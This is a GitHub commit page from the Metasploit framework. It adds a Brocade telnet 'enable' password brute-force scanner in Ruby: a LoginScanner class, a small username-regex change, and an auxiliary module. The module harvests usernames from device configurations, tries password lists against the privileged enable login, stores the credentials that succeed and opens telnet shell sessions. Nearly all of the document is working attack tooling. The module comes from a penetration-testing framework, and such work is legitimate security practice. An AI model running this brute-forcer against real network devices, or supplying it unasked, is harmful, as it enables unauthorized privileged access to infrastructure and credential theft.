Skip to content

Commit 3963289

Browse files
author
Brent Cook
committed
Land rapid7#4888, @h00die's brocade credential bruteforcer
2 parents 8f5d222 + 3a1778e commit 3963289

File tree

3 files changed

+273
-1
lines changed

3 files changed

+273
-1
lines changed
Lines changed: 122 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,122 @@
1+
require 'msf/core'
2+
require 'metasploit/framework/telnet/client'
3+
require 'metasploit/framework/login_scanner/base'
4+
require 'metasploit/framework/login_scanner/rex_socket'
5+
module Metasploit
6+
module Framework
7+
module LoginScanner
8+
# This is based off of the telnet LoginScanner. We had to role our own,
9+
# based on hdm's recommendation, since we're not trying to login to telnet,
10+
# but we're actually doing the escalated privileges (enable) login.
11+
class Brocade_Telnet
12+
include Metasploit::Framework::LoginScanner::Base
13+
include Metasploit::Framework::LoginScanner::RexSocket
14+
include Metasploit::Framework::Telnet::Client
15+
16+
CAN_GET_SESSION = true
17+
DEFAULT_PORT = 23
18+
LIKELY_PORTS = [ DEFAULT_PORT ]
19+
LIKELY_SERVICE_NAMES = [ 'telnet' ]
20+
PRIVATE_TYPES = [ :password ]
21+
REALM_KEY = nil
22+
23+
# @!attribute verbosity
24+
# The timeout to wait for the telnet banner.
25+
#
26+
# @return [Fixnum]
27+
attr_accessor :banner_timeout
28+
# @!attribute verbosity
29+
# The timeout to wait for the response from a telnet command.
30+
#
31+
# @return [Fixnum]
32+
attr_accessor :telnet_timeout
33+
34+
validates :banner_timeout,
35+
presence: true,
36+
numericality: {
37+
only_integer: true,
38+
greater_than_or_equal_to: 1
39+
}
40+
41+
validates :telnet_timeout,
42+
presence: true,
43+
numericality: {
44+
only_integer: true,
45+
greater_than_or_equal_to: 1
46+
}
47+
48+
# (see {Base#attempt_login})
49+
def attempt_login(credential)
50+
result_options = {
51+
credential: credential,
52+
host: host,
53+
port: port,
54+
protocol: 'tcp',
55+
service_name: 'telnet'
56+
}
57+
58+
begin
59+
if connect_reset_safe == :refused
60+
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
61+
else
62+
if busy_message?
63+
self.sock.close unless self.sock.closed?
64+
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
65+
end
66+
end
67+
68+
unless result_options[:status]
69+
raw_send("enable\r\n") #send the enable command
70+
unless password_prompt?
71+
send_user(credential.public)
72+
end
73+
74+
recvd_sample = @recvd.dup
75+
# Allow for slow echos
76+
1.upto(10) do
77+
recv_telnet(self.sock, 0.10) unless @recvd.nil? or @recvd[/#{@password_prompt}/]
78+
end
79+
80+
if password_prompt?(credential.public)
81+
send_pass(credential.private)
82+
83+
# Allow for slow echos
84+
1.upto(10) do
85+
recv_telnet(self.sock, 0.10) if @recvd == recvd_sample
86+
end
87+
end
88+
89+
if login_succeeded?
90+
result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL
91+
else
92+
result_options[:status] = Metasploit::Model::Login::Status::INCORRECT
93+
end
94+
95+
end
96+
rescue ::EOFError, Errno::ECONNRESET, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error
97+
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
98+
end
99+
100+
::Metasploit::Framework::LoginScanner::Result.new(result_options)
101+
end
102+
103+
private
104+
105+
# This method sets the sane defaults for things
106+
# like timeouts and TCP evasion options
107+
def set_sane_defaults
108+
self.connection_timeout ||= 30
109+
self.port ||= DEFAULT_PORT
110+
self.banner_timeout ||= 25
111+
self.telnet_timeout ||= 10
112+
self.connection_timeout ||= 30
113+
self.max_send_size ||= 0
114+
self.send_delay ||= 0
115+
# Shim to set up the ivars from the old Login mixin
116+
create_login_ivars
117+
end
118+
119+
end
120+
end
121+
end
122+
end

lib/msf/core/auxiliary/login.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -35,7 +35,7 @@ def create_login_ivars
3535
#
3636
# Some of these regexes borrowed from NeXpose, others added from datasets
3737
#
38-
@login_regex = /(?:log[io]n( name|)|user(name|id|))\s*\:/i
38+
@login_regex = /(?:log[io]n( name|)|user( ?name|id|))\s*\:/i
3939
@password_regex = /(?:password|passwd)\s*\:/i
4040
@false_failure_regex = /(?:(^\s*last)\ login *\:|allows only\ .*\ Telnet\ Client\ License)/i
4141
@failure_regex = /(?:
Lines changed: 150 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,150 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex'
8+
require 'metasploit/framework/credential_collection'
9+
require 'metasploit/framework/login_scanner/brocade_telnet'
10+
11+
class Metasploit4 < Msf::Auxiliary
12+
13+
include Msf::Exploit::Remote::Telnet
14+
include Msf::Auxiliary::Report
15+
include Msf::Auxiliary::AuthBrute
16+
include Msf::Auxiliary::Scanner
17+
include Msf::Auxiliary::CommandShell
18+
19+
def initialize
20+
super(
21+
'Name' => 'Brocade Enable Login Check Scanner',
22+
'Description' => %q{
23+
This module will test a Brocade network device for a privilged
24+
(Enable) login on a range of machines and report successful
25+
logins. If you have loaded a database plugin and connected
26+
to a database this module will record successful
27+
logins and hosts so you can track your access.
28+
This is not a login/telnet authentication. Config should NOT
29+
have 'enable telnet authentication' in it. This will test the
30+
config that contains 'aaa authentication enable default local'
31+
Tested against:
32+
ICX6450-24 SWver 07.4.00bT311
33+
FastIron WS 624 SWver 07.2.02fT7e1
34+
},
35+
'Author' => 'h00die <mike[at]shorebreaksecurity.com>',
36+
'References' =>
37+
[
38+
[ 'CVE', '1999-0502'] # Weak password
39+
],
40+
'License' => MSF_LICENSE
41+
)
42+
register_options(
43+
[
44+
OptBool.new('GET_USERNAMES_FROM_CONFIG', [ false, 'Pull usernames from config and running config', true])
45+
], self.class
46+
)
47+
@no_pass_prompt = []
48+
end
49+
50+
def get_username_from_config(un_list,ip)
51+
["config","running-config"].each do |command|
52+
print_status(" Attempting username gathering from #{command} on #{ip}")
53+
sock.puts("\r\n") #ensure the buffer is clear
54+
config = sock.recv(1024)
55+
sock.puts("show #{command}\r\n")
56+
while true do
57+
sock.puts(" \r\n") #paging
58+
config << sock.recv(1024)
59+
#there seems to be some buffering issues. so we want to match that we're back at a prompt, as well as received the 'end' of the config.
60+
break if config.match(/>$/) and config.match(/end/)
61+
end #pull the entire config
62+
config.each_line do |un|
63+
if un.match(/^username/)
64+
found_username = un.split(" ")[1].strip
65+
un_list.push(found_username)
66+
print_status(" Found: #{found_username}@#{ip}")
67+
end #username match
68+
end #each line in config
69+
end #end config/running-config loop
70+
end
71+
72+
attr_accessor :no_pass_prompt
73+
attr_accessor :password_only
74+
75+
def run_host(ip)
76+
un_list = []
77+
if datastore['GET_USERNAMES_FROM_CONFIG']
78+
connect()
79+
get_username_from_config(un_list,ip)
80+
disconnect()
81+
end
82+
83+
if datastore['USERNAME'] #put the provided username on the array to try
84+
un_list.push(datastore['USERNAME'])
85+
end
86+
87+
un_list.delete('logout') #logout, even when used as a un or pass will exit the terminal
88+
89+
un_list.each do |un|
90+
cred_collection = Metasploit::Framework::CredentialCollection.new(
91+
blank_passwords: datastore['BLANK_PASSWORDS'],
92+
pass_file: datastore['PASS_FILE'],
93+
password: datastore['PASSWORD'],
94+
user_file: datastore['USER_FILE'],
95+
userpass_file: datastore['USERPASS_FILE'],
96+
username: un,
97+
user_as_pass: datastore['USER_AS_PASS'],
98+
)
99+
100+
cred_collection = prepend_db_passwords(cred_collection)
101+
102+
scanner = Metasploit::Framework::LoginScanner::Brocade_Telnet.new(
103+
host: ip,
104+
port: rport,
105+
proxies: datastore['PROXIES'],
106+
cred_details: cred_collection,
107+
stop_on_success: datastore['STOP_ON_SUCCESS'],
108+
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
109+
connection_timeout: datastore['Timeout'],
110+
max_send_size: datastore['TCP::max_send_size'],
111+
send_delay: datastore['TCP::send_delay'],
112+
banner_timeout: datastore['TelnetBannerTimeout'],
113+
telnet_timeout: datastore['TelnetTimeout'],
114+
framework: framework,
115+
framework_module: self,
116+
)
117+
118+
scanner.scan! do |result|
119+
credential_data = result.to_h
120+
credential_data.merge!(
121+
module_fullname: self.fullname,
122+
workspace_id: myworkspace_id
123+
)
124+
if result.success?
125+
credential_core = create_credential(credential_data)
126+
credential_data[:core] = credential_core
127+
create_credential_login(credential_data)
128+
print_good("#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}")
129+
start_telnet_session(ip,rport,result.credential.public,result.credential.private,scanner)
130+
else
131+
invalidate_login(credential_data)
132+
print_error("#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})")
133+
end
134+
end
135+
end #end un loop
136+
end
137+
138+
def start_telnet_session(host, port, user, pass, scanner)
139+
print_status("Attempting to start session #{host}:#{port} with #{user}:#{pass}")
140+
merge_me = {
141+
'USERPASS_FILE' => nil,
142+
'USER_FILE' => nil,
143+
'PASS_FILE' => nil,
144+
'USERNAME' => user,
145+
'PASSWORD' => pass
146+
}
147+
148+
start_session(self, "TELNET #{user}:#{pass} (#{host}:#{port})", merge_me, true, scanner.sock)
149+
end
150+
end

0 commit comments

Comments
 (0)